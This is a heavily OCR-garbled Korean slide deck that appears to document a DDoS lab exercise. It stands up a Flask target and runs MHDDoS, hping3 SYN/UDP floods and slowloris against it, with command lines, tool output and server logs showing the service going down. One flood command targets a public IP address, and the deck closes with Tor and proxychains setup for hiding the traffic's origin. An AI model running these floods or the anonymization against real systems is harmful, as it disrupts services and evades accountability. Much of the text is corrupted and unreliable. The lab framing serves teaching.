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= |ICMP Smurf (&2HZ 54
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= ICMP Smurf (AHZE Z4)
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= NTP 33 34 (Network Time Protocol
AMRIEGRSPRLe g X o NTP AH O B2 2 S
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sudo apt install git 2z
sudo apt install python3-pip "
sudo apt install net-tools

= _|T|_|'('5HX|._9_ VM = E=IO-|

git clone https://qgithub. Com/YYJ-
SH/ddostest.qit

chmod -R 777 ddostest/
cd ddostest

Cloning

———————

pip install flask numpy [ cranvnncs |

P ——

python3 app.py =

(E El-_?_ X-I 0” A-I |Oca|hOStSOOO Ll-g E AO-I _g) i -:’-root@ubuntu:/home/u/Desktop/ddostest# python3 app.py

* Serving Flask app 'app'

_* Debug mode: off


https://github.com/YYJ-SH/ddostest.git

= 192.168.140.137:5000 & 2 F 20| 2= HpRA|H E LT} .

ottt BEY 2!
Ifconfig

Ens33 inet 192.1682 A|ZISI=H OB E =4
O XF M A= 192.168.140.137:5000
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Home Desktog

20 Recent -
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§|g.lx|- Vmgg %Ol-jl-A-I ddOSteSt %EI LH O-” S\)AIE g % Starred app.py J Qpen With Text Egitor J
A
2

serverlog L2 &5t text editor 2 @& e

4 Downloads Move to Trash

MR Z EL SZAXt ip(192.168.140.139)0| A T

E -6I;|- 71' éII-()|_I 2 Pictures e e

Rename

Star
E} Videas perties
™ Trash
 Other Locations

strveriog (Resd.-Oaly]

12024-11-14 04:15:43,947 - INFO - UDP At AIRH - 9.0.0,.0:9999
22024-11-1¢ 04:15:43,949 - InF0 - i 3an{rimesanInG: This ts 2 development server, Do not wse Lt in a
productlon deployment. Use 3 preduction WSGE server instesd. ({6

* Hunning on 211 addresses (0.0.0,0)
* Aunning om Http://127.0.0.1:5000

* Running om Attt J192.148. 140, 1007
20241118 De:35:43,949 - INFO - [[l[33nfress CTRLC to quitfli[enm

3

i

5

o

T2824.11.14 84:35:43,049 - INFO - TCP A ARE . s o6 sinann
820

9

e

2024-11-14 D4:16:33,075 INFO - TCP IR ¥ ('127.0.0.1', 52402)
2024-11-18 94:16:33,955 « INFO - TCP VR 28%; '127.0.0.1°, s:»tl
310 2824-11-14 93:18:34 310 INfO rer @ S (1200001, Szes)
112024-11-14 ©4:18:34,391 - INFO - TCP B8 28 ('127.0.0.1', 52432)
12 3824-11:14 52:36734, 398 - INFO - TCP TR S8 ('127.0.0.1', 52438)
32029-11-16 ©4:18:34,001 - INtO - top I D8 (C127.0.001, S7444)
14 2024-11-14 04:16:34,745 - INFO - TCP B8 =% ('127.0.0.1°, 56)
35 2024-11-14 ©4:16:16,390 - INIO - 127,0.8.1 [14/Nov /2074 ©4:16:30) N L -
16 2024-11-14 94:16:36,9T0 INFO 127,0,0.1 (L4 Mov /2024 BM4:16:36] IINGET /favicon,ico WTTR/-
1.aflien 484
17 2024-11-14 04:17:40,035 - INFO 1 [14/Nov/2024 ©4:17:40] "GET Jcompute NTTP/1.17 200
10 2024-11-14 04:18:60,051 - INIO 1 [14/NoV/7074 ©4:10:00] “GIT | WTTR/1.1" 700
11-14 94:18:01,020 - INIO 1 - - [14/Nov/7024 o4:10: [slowloris MTTP 200
11-18 88:23:15,604 - INFO (168,117 [18 /0w /2024 CET J HYTTR/1.
~11-14 04:21:16,070 - INTO 149.137 24 ‘Kl 33mczT /favicon.ice WTTR
1. aff(ent 404
22 3024-11-14 o4 LN wro 192,165,150, 1)7 - (140w /2024 nd:?l'V’] 'Y/ wTTR/f).at 00
212024-11-14 o4 1,710 - INFO - 132 - (140 B24 04:22:31] “CEY / MTTP/1.1" 260
13,031 - INFO f 192,168.140,135 [14/M0v /2024 04:22:13) *[[l[33mcET /favicon.ice WTTP/

24 2024-11-14 04
2

ion* 404
824-11-14 94:73:3),059 INFO 192.16R.140. 135 [14/Now /2024 D4:23:33] “CET Jcompute WTTR/L.1 700 -
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. 28 BT HSo| ¢S
CIZ AlZt HEHo| ¢S
A& AR EF N|oto] §f

= IP 7|8 EHE Wla

. 7I%’%*al DDoS &0 7|s0| M&] 85

o
AT

vtseh 4.

1.CPU/MIE 2| RXF 18 &4 (/compute)
2.Slowloris 89| XL{<Y DoS 324 (/slowloris)
3.HTTP Flood &4 (/ﬂood)

4.SYN Flood +74 (TCP A{HY)

5.UDP Flood & -'—7:' (UDP A HY)
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» ZQ FH|E: UBUNTU VM 2LH(Z 2| = OK)

= _L|7:IX|-_9_ VM EI=|E=IO-|
, pycparser, psutil, propcache, maxminddb, MarkupSafe, ldap3, itsdangerous, icmp
ib, future, dnspython, click, charset-normalizer, certifi, blinker, Werkzeug, r
Su O ap u p a e equests, multidict, ldapdomaindump, Jinja2, cffi, yarl, requests-toolbelt, flas
, cryptography, pyroxy, pyOpenSSL, cloudscraper, impacket

git clone
https ://g Ith u b . CO m/M atrIXTM/M uccessfully installed Jinja2-3.1.4 MarkupSafe-3.0.2 Werkzeug-3.1.3 blinker-1.9.

P certifi-2022.12.7 cffi-1.17.1 charset-normalizer-2.0.12 click-8.1.7 cloudscrap
er-1.2.71 cryptography-43.0.3 dnspython-2.2.1 flask-3.1.0 future-1.0.0 icmplib-

. .0.4 impacket-0.10.0 itsdangerous-2.2.0 1dap3-2.9.1 ldapdomaindump-0.9.4 maxmind
O I db-2.6.2 multidict-6.1.0 propcache-0.2.0 psutil-6.1.0 pyOpenSSL-24.2.1 pyasnl-0.
. 4.8 pycparser-2.22 pycryptodomex-3.21.0 pyroxy-1.0b5 pysocks-1.7.1 requests-2.2

.1 requests-toolbelt-1.0.0 typing-extensions-4.12.2 yarl-1.17.1
L} - n
Ip Install -r requirements.txt
n

1 u@u-virtual-machine: ~/Desktop/MHDDoS Q = = u}
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® MHDDOS

flE~ 27 &
9752 34y
2.1 Layer 7 34 (O ZE|#[0]M HF
-Bypass: WAF & CIoudeare 2|o}01 HTTP Flood Al3H,
Slowloris: HTTP 282 L2|H ELHA MH Xt 0,
*HTTP Flood: CHE2| HTTP o2 # AMH 1R}
Stress: 122F HTTP {22 ™ 53510 *1H'| A&l A5,

rE

|k

2.2 Layer 4 34 (L1IE HA/HE AT
SYN Flood: TCP 992 @2 CHHCZ HL| M| 94 C{7|€ X1},
-UDP Flood: CHZ°| UDP I{ZIC 2 HEQA (9= A1,

-DNS Amplification: DNS 2|Z&|E & 0|85t EId MH=E S=FE
EEHJ.LI X—l*

2.3 7|Et 7|5

- EA| X|H: SOCKS5, SOCKS4, HTTP ZEA|E &3t IP 7|7
SF 34 HERTA == S5 %7—1 =at 33t

AA|ZH 2O Debug ZEE MA|Zt 22 AE| DL EZ




® MHDDOS

= 7= B30

Layer 7 S4:
python3 start.py <method> <url> <socks_type> <threads> <proxylist> <rpc> <duration>

Ol Al:
python3 start.py bypass https://example.com 5 100 proxy.txt 100 60

Layer 4 34:
python3 start.py <method> <ip:port> <threads> <duration>

Ol Al:
python3 start.py udp 192.168.1.100:80 100 60




python3 start.py GET http://128.134.233.78:5000/compute 0 100 proxy.txt 20 20
(S|4 X A |20 HTiSH 252 http://128.134.233.78:5000/compute =
SHENR)

python3 start.py GET http://192.168.140.137:5000/compute 6 100 proxy.txt 20
20

. THEQ BH YYO

HTTP Flooding (MHDDoS AH2): = Z+ QIX}ol ofdj:

python3 start.py bypass 1.GET: 54 g
http://192.168.140.137:5000/compute 20 60 2.URL: http://192.168.140.137:5000/compute
UDP Flooding (hping3 AH): 3.6: SOCKS Ef 2 (6=RANDOM)

sudo hping3 -2 -p 9999 --flood 192.168.140.137 4.100: =2 = =

SYN Flooding (hping3 AF8): g.ggc.)fy.txtzr i%tl Elrﬁénfr%{ .
sudo hping3 -S -p 8888 --flood 192.168.140.137 0, xp|(-:ﬁ i?;ﬁ}_)pe connectio



http://192.168.140.137:5000/compute

\) 24P - Dowtioed 1

oot@ubuntu: /home/u/Desktop/ddostest# python3 app.py
* Serving Flask app 'app'
* Debug mode: off

SAX 2 XM MZ DA . * Deb
-> A‘||:|-| E_-|7(|7-I g|-O|o|-A o|% ,
5I7F MM =& (killed)
(12 M& 0|74 $|5T01| M M H
X

S sl Z+Est 9 Xl 12702 A

Bt S AL

Unable to connect

Firefox cant establish 3 connaction to the server at 192.168.140.137:5000

w couid be la woly unavatlalie

bty Try aguin bn 2 few moments

nable to

23 ary papes, ek PULES s AETWOrK CONTaCTion

o ¥y aPrewall o nabo s L Pirwlos ilted L0 sctw

camputee of hetwark it protected b

the web

— - 18 2024-11-14 £4:18:88,851 - INFD - §27.6.8.3 { / 119:88] “GET / WITP/1.1% 208
11| o X A E l 2'_0' A . AQ _9_*4 |:|| 19 2824-11.14 84:18:81,828 - INFO - 127.8.8.1 [14/Kov 2624 04:18:81] "GET /slowloris HTTP/3.1" 284
= |p L o L. ‘ 20 28245114 B4:24:15,604 - INFO - 192.168.148.137 [14/Nov/2824 84:21:15) "CET /) HITP/1.1" 208
7 I__ o 71 = A o| © 212024-31-14 04:21:10,070 - INFO - 192.100.140.137 - - [14/Nov/2024 04:21:16] *[H[33mGET [favicon.ico
E |- |- - = = | [

HTTP/ e s(f[on" 4ea

AA 22 2023-11+14 B4:22:38,959 « INFO [14/Nov /2624 84:21:38] "GET / HITP/1.1" 288
232024-11:14 84:22:11,718 - INFO [14/Nov /2024 84:22:13] "CET } HITP/1.1" 280
24 2024-11-14 ©4:22:13,031 - INFO - [14/Nov /2024 04:22:13] “[[l[33eceT [fravicon.ico
HTTR/t. 1[fi[(on" 4
Bll25 2024-11-14 £4:23:33,059 - INFO - 192.168.146.135 {14/Nov /2024 84:23:33] "CET /compute HTTR/1.1"
1724 200
26 2624-11-14 £4:35:25,438 - INFD - 192.1068.140.135 [14/Nov /2024 04:35:25) "CET / HTTP/1.1" 200
27 2024-11-14 ©4:38:11,272 - INFD - 127.0.0.1 - - [14/Nov/2024 94:33:11] "CET )conpute HTTP/1.1" 264 -
28 2024-11-14 04:38:46,350 - INFO - 192.168.146.139 - - [14/Nov/2024 04:35:46] "GET /conpute HTTP/1.8"
200 -
29 2024-11-14 B4:38:58,323 - INFO - 192.168.146.139 - - [14/Nov/2024 04:38:58] "GET /compute HTTP/1.1'
200
>
- 30 20624-11-14 D4:39:03,529 - INFO - 192,168.140.13% - - [14/Nov /2024 04:39:01] "GET /conpute MTTR/1.1"
200
31 20624-11-14 B4:35:04,534 - INFO - 192.166.140.135 - - [14/N0ov/2024 04:39:04] "GET /compute HTTP/1.2°
200
12 2024-11-14 04:39:10,203 - INFO - 192.160.140.135 - - [14/Nov/2024 04:39:18] "GET Jconpute MTTP/1.0"
200 -
33 2024-11-14 04;39:10,599 - INFO - 192.168.140.139 - - [14/Nov/2024 04:39:18] "GET /compute WTTP/I.8"
200 -
34 2024-11-14 B4:39:15,329 - INFO - 192,108.3140.13% - - [14/Nov/2024 04:39:15] "GET Jconpute MTTP/1.0"
204 -
35 2024-11-14 04:35:16,145 - INFO - 192,1606.148,153% - - [14/Nov/ 2024 04:39:16] "CET Jcompule MTTP/1.B"
200 -
36 2824-11-14 04:35:16,226 - INFO - 192.160.140.13% - - [14/Nov/2024 04:39:16] "GET Jcompute HTTRS1.2°




H CRAl A7)

python3 app.py & =

Activities () Terminal ~ Nov 14 04:54 & a9 oo~

= o X

root@ubuntu: /home/u/Desktop/ddostest

root@ubuntu: /home/u/Desktop/ddostest# pythonZ app.py
* Serving Flask app 'app'

* Debug mode: off



http://app.py/

® DDOS bypath &4

python3 start.py bypass http://192.168.140.137:5000 6 100
proxy.txt 100 60

M7t O WS & HE
Why? At X-€le 80| XFX|3}
Al 97| mj2

(O] &40| ZHFE S| XiefZ
2rE X[ 1007 BF= 0] =Efd
o Z0|2t &, ot html 82
S HHYSHH S2fAE Z 10074
=t of Adp H|=x)




® DDOS slowloris &4

= Slowloris & Al

O slowloris =7 AX%]

git clone https://github.com/gkbrk/slowloris.git cd slowloris
34 A% (0f: 10007H2] 2L 2 T H)

oython3 slowloris.py 192.168.140.137 -p 5000 -s 1000

AL o 238t 242 Qs A7 A2 L2

python3 slowloris.py 192.168.140.137 -p 5000 -s 2000




u@u-virtual-machine: ~/Desktop/MHDDoS/slowloris Q

into 'slowloris'...
Enumerating objects: 152, done.
Counting objects: 100% (78/78), done.
Compressing objects: 100% (32/32), done.
Total 152 (delta 50), reused 48 (delta 46), pack-reused 74 (from 1)
Receiving objects: 100% (152/152), 25.90 KiB | 4.32 MiB/s, done.
Resolving deltas: 100% (80/80), done.

: S python3 slowloris.py 192.168.140
.137 -p 5000 -s 1000
14-11-2024 22:07:33] Attacking 192.168.140.137 with 1000 sockets.
[14-11-2024 22:07:33] Creating sockets...

14-11-2024 22:07:34] Sending keep-alive headers...

[14-11-2024 22:07:34] Socket count: 1000

14-11-2024 22:07:49] Sending keep-alive headers...

[14-11-2024 22:07:49] Socket count: 1000

14-11-2024 22:08:04] Sending keep-alive headers...

[14-11-2024 22:08:04] Socket count: 1000

14-11-2024 22:08:19] Sending keep-alive headers...

[14-11-2024 22:08:19] Socket count: 1000

14-11-2024 22:08:34] Sending keep-alive headers...

[14-11-2024 22:08:34] Socket count: 1000
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= TOR(The Onion Router)= AFEXIQ| QIH Y EEjE S
‘S HHESI= HEA A|AH

= VPN ALE =H

sudo nano /etc/proxychains4.conf Of A{
Dynamic_chain 22| #X| =7
[proxyList] 0l soket5 127.0.0.1 9050

0=,

sudo systemctl start tor@default

sudo systemctl status tor@default

sudo systemctl start tor

sudo systemctl enable tor

proxychains4 curl http://check.torproject.org
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You have a right to SPEAK without
uninvited listeners.

Join the thousands of Tor supparters building an intemet powered by

prtvacy. Make a donation today.

Through December 31, your gift will be matched 1:1, up to $300,000!

Donate now @
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